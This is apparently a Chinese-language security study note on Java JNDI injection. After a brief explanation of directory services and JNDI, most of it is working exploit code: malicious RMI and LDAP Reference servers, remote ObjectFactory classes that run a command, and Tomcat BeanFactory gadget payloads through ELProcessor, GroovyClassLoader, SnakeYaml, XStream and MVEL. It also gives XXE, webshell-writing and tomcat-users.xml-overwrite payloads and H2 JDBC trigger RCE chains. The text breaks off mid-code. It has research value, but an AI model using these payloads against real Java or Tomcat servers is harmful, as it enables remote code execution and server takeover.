Java JNDI 安全笔记

 

Java JNDI 简介

目录服务

目录服务(Directory service)是一个储存、组织和提供信息访问服务的软件系统,在软件工程中,一个目录是指一组名字和值的映射。它允许根据一个给出的名字来查找对应的值,与词典相似,词典中每一个词也许会有多个词义,在一个目录中,一个名字也许会与多个不同的信息相关联。

目录服务在许多不同的场景中被广泛使用,例如:

  1. 用户身份认证和授权:目录服务常用于管理用户账户和权限信息。它可以存储用户的登录名、密码、角色和访问权限等信息,用于实现身份认证和授权机制。用户可以通过目录服务进行身份验证,以获得对受保护资源的访问权限。

  2. 网络资源管理:目录服务可以用于管理网络资源,例如服务器、打印机、存储设备等。它可以存储资源的配置信息、访问权限和状态信息,方便管理员进行资源的监控、配置和控制。

  3. DNS(域名解析):DNS 是一种基于目录服务的系统,用于将域名解析为 IP 地址。它提供了全球分布式的域名解析服务,使得用户可以使用易记的域名来访问互联网上的各种资源。

目录服务的好处在于提供统一的服务接口,降低偶合度,提升整体灵活性与可扩展性。以用户身份认证和授权为例,想象一下,当存在多个应用系统时,用户信息可能分散在各个应用系统中,每个系统都维护着自己的用户数据库。这样就导致用户需要在每个系统中单独注册和登录,且用户信息在系统之间无法共享和同步,无疑增加了用户的负担,并且难以实现统一的身份验证和授权管理。引入目录服务之后,各个应用系统的用户数据库可以汇总到目录服务中,当用户登录时,通过目录服务去验证身份并授予相应的权限,不仅提升了用户体验,也减小了应用系统的负担。

JNDI 简介

JNDI(Java Naming and Directory Interface)是 Java 平台提供的一套用于访问和操作不同类型的命名和目录服务的 API,这套 API 提供了统一的方式来访问各种目录和命名服务。

JNDI 对不同的目录服务进行了封装,因此用户无需关心具体的目录服务实现。其设计结构如下图所示:

20230629092018

JNDI 支持的目录服务有:

  1. LDAP:可以连接到 LDAP 服务器,进行查询、添加、修改和删除等操作。
  2. DNS:可以查询和解析域名信息,如获取域名的 IP 地址等。
  3. NIS(Network Information Service):NIS 是一种用于集中管理网络中用户、主机和其他资源的服务,JNDI 提供了对 NIS 的访问和操作的支持。
  4. RMI:JNDI 还可以用于访问和管理远程对象。
  5. COBRA(Common Object Request Broker Architecture):CORBA 和 RMI 都是分布式对象通信和远程调用的技术。可以看作是同一类技术的不同实现。它们都提供了一种机制来支持分布式对象之间的通信和远程调用,但在实现细节、协议和标准化方面有所不同。

下面是一个使用简单的示例:

public class Client {
    public static void main(String[] args) {
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:8080");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
            Attributes res = lookCtx.getAttributes("");
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}
  1. InitialDirContext 用于设定访问 LDAP 服务的环境参数。
    • Context.INITIAL_CONTEXT_FACTORY 指定了使用 LDAP 上下文工厂 com.sun.jndi.ldap.LdapCtxFactory
    • Context.PROVIDER_URL 指定了 LDAP 服务器的地址为 ldap://localhost:8080
  2. lookup 方法用于在目录服务中查找符合要求的条目。

JNDI 注入原理

假如 lookup 参数可控,则可以通过指定的 ip 地址向恶意服务器发起连接。漏洞场景如下所示:

public class JNDIDynamic {
    public static void main(String[] args) {
        if (args.length != 1) {
            System.out.println("Usage: lookup <domain>");
            return;
        }
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://114.114.114.114");

        try {
            DirContext ctx = new InitialDirContext(env);
            DirContext lookCtx = (DirContext)ctx.lookup(args[0]);
            Attributes res = lookCtx.getAttributes("", new String[]{"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

上面的代码会根据用户的输入发起 JNDI 查询,攻击者可以利用 JNDI 支持的各种协议加以利用。

JNDI RMI 利用

RMI 反序列化

JNDI 在使用 RMI 作为 SPI 时,同样会受到 RMI 安全问题的影响。在测试代码中加入 CC 依赖:

        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>

注入 lookup 函数时,目标作为客户端向恶意注册中心发起连接,我们可以使用 ysomap 中的 JRMPListener 开启监听:

use exploit RMIListener
use payload CommonsCollections5
use bullet TransformerWithTemplatesImplBullet
set lport 12345
set args "mate-calc"
run

然后利用 JNDI 注入向 JRMPListener 发起连接:

ctx.lookup("rmi://localhost:12345/Foo");

JRMPListener 攻击客户端不受 jdk 版本限制,但需要目标环境中存在可利用的反序列化链。

20230629224143

Reference 远程类加载(jdk < 8u121)

Reference 类是用于表示对象引用的特殊类型,可以用于在命名服务中存储和检索对象引用。

Reference 对象通常用于在 JNDI 上下文中绑定或检索可序列化的对象,包含了引用对象的类名、工厂类名以及其他可选的引用信息。

其主要属性如下:

  • class Name:字符串,表示引用对象的类名。这个类必须实现 javax.naming.Referenceable 接口。
  • factory Class Name:字符串,表示用于创建引用对象实例的工厂类名。这个工厂类必须实现 javax.naming.spi.ObjectFactory 接口。
  • Ref Addr:一个 RefAddr 对象的集合,表示引用对象的其他属性或地址信息。

通过将对象的引用信息封装到 Reference 对象中,可以将对象绑定到 JNDI 上下文中,并通过名称在不同的环境中进行查找和检索。当从 JNDI 上下文中检索 Reference 对象时,可以使用其工厂类名创建实际的对象实例。

下面是一个简单的示例, 示例在文章 JNDI 注入漏洞的前世今生 - evilpan 的基础上稍作修改,其主要步骤如下:

  1. 开启注册中心
  2. 服务端绑定一个 Reference 对象。
  3. 客户端发起查询。

首先开启注册中心:

package com.dr34d.registry;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);

        // 保持程序运行状态
        while (true) {
            Thread.sleep(1000);
        }
    }
}

在服务端创建一个 Reference 对象,引用对象的名称可以随便填写,工厂类名称为 EvilClass,RefAddr 指向本地 5000 端口

package com.dr34d;

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Main {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);

        //这里的Reference ClassName并不一定要完全匹配
        Reference reference = new Reference("xxx","EvilClass","http://localhost:5000/");

        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.rebind("Foo", wrapper);

    }
}

EvilClass 是一个工厂类,实现了 ObjectFactory 类并重写了 getObjectInstance 方法。

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        EvilClass.log("static block");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

将 EvilClass 编译之后的 .class 文件放置在 5000 端口 http 服务根目录下。 注意:如果上面绑定 Reference 对象时,工厂类带上了包名,例如 com.dr34d.EvilClass,则 EvilClass.class 文件应该放置在 /com/dr34d/EvilClass.class

此时客户端向注册中心发起查询:

package com.dr34d;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.util.Hashtable;

public class Main {
    public static void main(String[] args) throws Exception {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        Hashtable<String, String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
        InitialContext ctx = new InitialContext(env);

        ctx.lookup("rmi://localhost:1099/Foo");
    }
}

执行结果如下,客户端加载了远程的字节码并进行实例化:

EvilClass: static block
EvilClass: IIB block
EvilClass: constructor
EvilClass: getObjectInstance

但需要注意的地方有两点:

  1. 上面的客户端代码将 com.sun.jndi.rmi.object.trustURLCodebase 设定为 true,表示信任远程的 object factory。该限制在 jdk 8u121、7u131、6u141 版本时加入。
  2. com.sun.jndi.rmi.registry.ReferenceWrapper 在 jdk 8u181 后被移除,需要额外引入对应 jar 包。

实际利用时,也可以直接将 payload 写在静态代码块中,当远程的工厂类被实例化时,就会直接执行静态代码块中的 payload:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class TestEvilClass implements ObjectFactory {
    {
        try {
            Runtime.getRuntime().exec("mate-calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

Reference 远程类加载(高版本 jdk)

下面的 payload 都来自于文章 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖

jdk 8u121、7u131、6u141 后假如了对远程类加载的限制,主要代码逻辑在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 方法中:

    if (ref != null && ref.getFactoryClassLocation() != null &&
        !trustURLCodebase) {
        throw new ConfigurationException(
            "The object factory is untrusted. Set the system property" +
            " 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
    }
    return NamingManager.getObjectInstance(obj, name, this,
                                            environment);

如果引用不为空,ref.getFactoryClassLocation() 不为空,且 trustURLCodebase 为 false,则直接抛出 ConfigurationException 异常。

加载远程对象时,ref 不能为空,trustURLCodebase 无法远程更改,想要绕过这里的限制,就需要从 ref.getFactoryClassLocation() 下手。参考 JNDI 注入漏洞的前世今生 - evilpan 文章中的分析,要满足该函数返回 null,需要对应的工厂类为本地代码,即指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化对象。

可用的利用链主要围绕以下的几个工厂类完成:

  1. org.apache.naming.factory.BeanFactory 可达成 RCE
  2. org.apache.catalina.users.MemoryUserDatabaseFactory 可达成 XXE 或 RCE
  3. org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory 可达成 RCE

BeanFactory 利用链(tomcat < 8.5.79)

org.apache.naming.factory.BeanFactory 是 Apache Tomcat 中的一个 JNDI 对象工厂类,用于创建对象并将其绑定到 JNDI 环境中。这个类的 getObjectInstance 函数可以根据传入的参数,实例化任意类并调用其任意方法,部分代码如下所示。

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws NamingException {
            ...
                    Object bean = beanClass.getConstructor().newInstance();
                        ...
                            value = (String)ra.getContent();
                            Object[] valueArray = new Object[1];
                            Method method = (Method)forced.get(propName);
                            if (method != null) {
                                valueArray[0] = value;

                                try {
                                    method.invoke(bean, valueArray);
            ....

参考 探索高版本 JDK 下 JNDI 漏洞的利用方法 - 跳跳糖 这篇文章的分析,getObjectInstance 方法会根据 forceString 的内容按照,逗号分割成多个要执行的方法。再按=分割成 param 和 propName,接着会根据 propName 作为方法名称去反射获取一个参数类型是 String 类型的方法,最后反射调用该方法,并传入param 对应的参数值。

所以,按照这个原理,寻找合适的利用类需要满足如下的几个条件:

  1. JDK或者常用库的类
  2. 有 public 修饰的无参构造方法
  3. public 修饰的只有一个 String.class 类型参数的方法,且该方法可以造成漏洞

按照这些条件,目前探索出来的利用链有如下的几种:

  1. javax.el.ELProcessor/groovy.lang.GroovyShell (RCE)
  2. javax.management.loading.MLet (RCE)
  3. groovy.lang.GroovyClassLoader (RCE)
  4. org.yaml.snakeyaml.Yaml (RCE)
  5. com.thoughtworks.xstream.XStream (RCE)
  6. org.mvel2.sh.ShellSession (RCE)
  7. com.sun.glass.utils.NativeLibLoader (RCE)
  8. org.h2.store.fs.FileUtils (目录创建)

下面是记录浅蓝师傅给出的利用链。

ELProcessor

利用如下的 payload,可以在 BeanFactory.getObjectInstance 函数中调用 javax.el.ELProcessor.eval 方法,通过 EL 表达式执行系统命令。

    public static void AttackWithELProcessor() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['mate-calc']).start()\")"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

groovy.lang.GroovyShell#evaluate 方法类似。

MLet

如下的 payload 可以通过 URLClassloader 远程加载类, 但由于无法实例化对象,因此无法 RCE。

    public static void AttackWithMLet() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
        ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
        ref.add(new StringRefAddr("b", "http://127.0.0.1:9999/"));
        ref.add(new StringRefAddr("c", "Blue"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

GroovyClassLoader

GroovyClassLoader 也同样可以远程加载类

    public static void AttackWithGroovyClassLoader() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
        ref.add(new StringRefAddr("a", "http://127.0.0.1:9999/"));
        ref.add(new StringRefAddr("b", "blue"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

blue.groovy

@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("mate-calc")})
class Person{}

SnakeYaml

org.yaml.snakeyaml.Yaml.load 函数也符合上面的要求,因此也可以利用 SnakeYaml 反序列化。

    public static void AttackWithSnakeYaml() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String yaml = "!!javax.script.ScriptEngineManager [\n" +
                "  !!java.net.URLClassLoader [[\n" +
                "    !!java.net.URL [\"http://127.0.0.1:9999/yaml-payload.jar\"]\n" +
                "  ]]\n" +
                "]";
        ref.add(new StringRefAddr("forceString", "x=load"));
        ref.add(new StringRefAddr("x", yaml));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

yaml-payload.jar 可以使用 artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads 来生成。

XStream

    public static void AttackWithXStream() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("com.thoughtworks.xstream.XStream", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        String xml = "<java.util.PriorityQueue serialization='custom'>\n" +
                "  <unserializable-parents/>\n" +
                "  <java.util.PriorityQueue>\n" +
                "    <default>\n" +
                "      <size>2</size>\n" +
                "    </default>\n" +
                "    <int>3</int>\n" +
                "    <dynamic-proxy>\n" +
                "      <interface>java.lang.Comparable</interface>\n" +
                "      <handler class='sun.tracing.NullProvider'>\n" +
                "        <active>true</active>\n" +
                "        <providerType>java.lang.Comparable</providerType>\n" +
                "        <probes>\n" +
                "          <entry>\n" +
                "            <method>\n" +
                "              <class>java.lang.Comparable</class>\n" +
                "              <name>compareTo</name>\n" +
                "              <parameter-types>\n" +
                "                <class>java.lang.Object</class>\n" +
                "              </parameter-types>\n" +
                "            </method>\n" +
                "            <sun.tracing.dtrace.DTraceProbe>\n" +
                "              <proxy class='java.lang.Runtime'/>\n" +
                "              <implementing__method>\n" +
                "                <class>java.lang.Runtime</class>\n" +
                "                <name>exec</name>\n" +
                "                <parameter-types>\n" +
                "                  <class>java.lang.String</class>\n" +
                "                </parameter-types>\n" +
                "              </implementing__method>\n" +
                "            </sun.tracing.dtrace.DTraceProbe>\n" +
                "          </entry>\n" +
                "        </probes>\n" +
                "      </handler>\n" +
                "    </dynamic-proxy>\n" +
                "    <string>mate-calc</string>\n" +
                "  </java.util.PriorityQueue>\n" +
                "</java.util.PriorityQueue>";
        ref.add(new StringRefAddr("forceString", "a=fromXML"));
        ref.add(new StringRefAddr("a", xml));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

MVEL

MVEL(MVFLEX Expression Language)是一个开源的、基于 Java 的表达式语言库。其中 org.mvel2.sh.ShellSession 类的 exec 方法满足条件。

    public static void AttackWithMVEL() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.mvel2.sh.ShellSession", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=exec"));
        ref.add(new StringRefAddr("a",
                "push Runtime.getRuntime().exec('mate-calc');"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

NativeLibLoader

com.sun.glass.utils.NativeLibLoader 为 jdk 内置类,其 loadLibrary 方法可以从本地加载链接库文件。需要配合文件上传或者文件写入漏洞。

    public static void AttackWithNativeLibLoader() throws Exception {
        ResourceRef ref = new ResourceRef("com.sun.glass.utils.NativeLibLoader", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=loadLibrary"));
        ref.add(new StringRefAddr("a", "/../../../../../../../../../../../../tmp/libcmd"));
        System.err.println("Server ready");
    }

注意:tomcat 较新版本(>=8.5.79,>=9.0.55)中已经禁用了 forceString 来增强安全性,具体可见: Apache Tomcat 8 (8.5.90) - Changelog

Tomcat 8.5.79 (schultz) Catalina Fix: 65736: Disable the forceString option for the JNDI BeanFactory and replace it with an automatic search for an alternative setter with the same name that accepts a String. This is a security hardening measure. (markt)

forceString 被禁用后会导致如下报错:

Jun 29, 2023 11:29:37 PM org.apache.naming.factory.BeanFactory getObjectInstance
WARNING: The forceString option has been removed as a security hardening measure. Instead, if the setter method doesn't use String, a primitive or a primitive wrapper, the factory will look for a method with the same name as the setter that accepts a String and use that if found.
Exception in thread "main" javax.naming.NamingException: No set method found for property [x]
	at org.apache.naming.factory.BeanFactory.getObjectInstance(BeanFactory.java:206)
	at javax.naming.spi.NamingManager.getObjectInstance(NamingManager.java:332)
	at com.sun.jndi.rmi.registry.RegistryContext.decodeObject(RegistryContext.java:499)
	at com.sun.jndi.rmi.registry.RegistryContext.lookup(RegistryContext.java:138)
	at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
	at javax.naming.InitialContext.lookup(InitialContext.java:417)
	at com.dr34d.Main.main(Main.java:16)

MemoryUserDatabaseFactory 利用链

org.apache.catalina.users.MemoryUserDatabaseFactory 也是 Tomcat 中的一个工厂类,其 getObjectInstance 代码如下:

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        if (obj != null && obj instanceof Reference) {
            Reference ref = (Reference)obj;
            if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
                return null;
            } else {
                MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
                RefAddr ra = null;
                ra = ref.get("pathname");
                if (ra != null) {
                    database.setPathname(ra.getContent().toString());
                }

                ra = ref.get("readonly");
                if (ra != null) {
                    database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
                }

                ra = ref.get("watchSource");
                if (ra != null) {
                    database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
                }

                database.open();
                if (!database.getReadonly()) {
                    database.save();
                }

                return database;
            }
        } else {
            return null;
        }
    }

使用 MemoryUserDatabaseFactory 工厂处理时,引用的类必须为 org.apache.catalina.UserDatabase。这个类在处理时会获取 pathname、readonly、watchSource 这三个属性,然后调用 open 方法,如果 readonly 为 false,则还会调用 save 方法。

XXE

open 方法中使用 Digester 库解析 XML 内容,访问 URL 来自于 pathName 参数,该参数在 getObjectInstance 函数中使用 pathname 进行赋值,因此 URL 可控。

    public void open() throws Exception {
        this.writeLock.lock();

        try {
            this.users.clear();
            this.groups.clear();
            this.roles.clear();
            String pathName = this.getPathname();
            URI uri = ConfigFileLoader.getURI(pathName);
            URLConnection uConn = null;

            try {
                URL url = uri.toURL();
                uConn = url.openConnection();
                InputStream is = uConn.getInputStream();
                this.lastModified = uConn.getLastModified();
                Digester digester = new Digester();

                try {
                    digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
                } catch (Exception var28) {
                    log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
                }

                digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
                digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
                digester.parse(is);   <-- *

利用 payload 如下:

    public static void AttackWithXXE() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/eval.xml"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);
        System.err.println("Server ready");
    }

RCE

这一条利用链较为复杂,可以达成文件写入的效果,写入 webshell 或者修改 tomcat-user.xml 文件都可以达成 RCE 的效果,利用 payload 如下:

    public static void AttackWithAddTomcatUser() throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/../../conf/tomcat-users.xml"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo2", wrapper);
        System.err.println("Server ready");
    }

    public static void AttackWithWriteWebShell() throws Exception {
        Registry registry = LocateRegistry.getRegistry(1099);
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
                true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:9999/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo3", wrapper);
        System.err.println("Server ready");
    }

在 windows 环境下上述的 payload 直接可用,但在 linux 环境下,需要提前创建 CATALINA.BASE/http:/127.0.0.1:9999 这个目录,具体原因可见浅蓝师傅的文章。创建目录使用到的是 H2 数据库中的 org.h2.store.fs.FileUtils.createDirectory 方法,但利用的还是 BeanFactory 这条利用链。因此还是会受到高版本 tomcat 的限制,寻找新的利用链创建目录可以绕过这个限制。

    public static void CreateDirWithH2() throws Exception {
        Registry registry = LocateRegistry.createRegistry(1099);

        ResourceRef ref = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=createDirectory"));
        ref.add(new StringRefAddr("a", "../http:"));
        ReferenceWrapper wrapper = new ReferenceWrapper(ref);
        registry.bind("Foo", wrapper);

        ResourceRef ref1 = new ResourceRef("org.h2.store.fs.FileUtils", null, "", "",
                true, "org.apache.naming.factory.BeanFactory", null);
        ref.add(new StringRefAddr("forceString", "a=createDirectory"));
        ref.add(new StringRefAddr("a", "../http:/127.0.0.1:9999"));
        ReferenceWrapper wrapper1 = new ReferenceWrapper(ref1);
        registry.bind("Foo1", wrapper1);
        System.err.println("Server ready");
    }

BasicDataSourceFactory 利用链(通用)

BasicDataSourceFactory 工厂类可以发起 jdbc 连接,结合 jdbc 的利用方式可以完成 RCE。这里直接贴 exp 了。此前提到的 Tomcat 高本版对 BeanFactory 作了限制,但 jdbc 利用链并未受到影响。

dbcp

private static Reference tomcat_dbcp2_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory");
}
private static Reference tomcat_dbcp1_RCE(){
    return dbcpByFactory("org.apache.tomcat.dbcp.dbcp.BasicDataSourceFactory");
}
private static Reference commons_dbcp2_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp2.BasicDataSourceFactory");
}
private static Reference commons_dbcp1_RCE(){
    return dbcpByFactory("org.apache.commons.dbcp.BasicDataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

tomcat-jdbc

private static Reference tomcat_JDBC_RCE(){
    return dbcpByFactory("org.apache.tomcat.jdbc.pool.DataSourceFactory");
}
private static Reference dbcpByFactory(String factory){
    Reference ref = new Reference("javax.sql.DataSource",factory,null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
            "$$\n";
    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username","root"));
    ref.add(new StringRefAddr("password","password"));
    ref.add(new StringRefAddr("initialSize","1"));
    return ref;
}

druid

private static Reference druid(){
    Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
    String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
            "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
            "java.lang.Runtime.getRuntime().exec('mate-calc')\n" +
            "$$\n";
    String JDBC_USER = "root";
    String JDBC_PASSWORD = "password";

    ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
    ref.add(new StringRefAddr("url",JDBC_URL));
    ref.add(new StringRefAddr("username",JDBC_USER));
    ref.add(new StringRefAddr("password",JDBC_PASSWORD));
    ref.add(new StringRefAddr("initialSize","1"));
    ref.add(new StringRefAddr("init","true"));
    return ref;
}

JNDI LDAP 利用

在调用 JNDI LDAP 协议进行 lookup 查找远程对象时,最终会进入 com.sun.jndi.ldap.Obj.decodeObject 方法。

    static Object decodeObject(Attributes var0) throws NamingException {
        String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

        try {
            Attribute var1;
            if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
            } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
                return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
            } else {
                var1 = var0.get(JAVA_ATTRIBUTES[0]);
                return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
            }
        } ...
    }

上面的三个分支中:

  1. 如果查找 LDAP 服务得到的对象包含 javaSerializedData 属性(JAVA_ATTRIBUTES[1]),则会进入第一个分支会调用 deserializeObject 进行反序列化,因此会受到反序列化的影响。
  2. 第二个分支调用 decodeRmiObject。
  3. 如果查找 LDAP 服务得到的是一个 Reference 对象,则会进入第三个分支调用 decodeReference 方法。

Reference 远程类加载(jdk < 8u191)

JNDI LDAP SPI 同样受到 Reference 远程类加载的影响,利用代码与 RMI 远程类加载时使用的一致。

package com.dr34d;

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.util.Hashtable;

public class TestEvilClass implements ObjectFactory {
    {
        try {
            Runtime.getRuntime().exec("mate-calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
}

对其进行编译后得到 .class 文件,在根目录中开启 http 服务。例如这里的包名为 com.dr34d,那么我们需要在 com 的上层目录开启 http 服务。

python -m http.server 5000

开启一个恶意的 ldap 服务,恶意服务端可以在 marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java at master · mbechler/marshalsec · GitHub 的基础之上进行修改。

将恶意类绑定到 ldap 服务器中,注意在绑定时加入包名,例如:http://192.168.137.98:5000/#com.dr34d.TestEvilClass,前面是 http 服务的 URL,后面是恶意类的全限定名。

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

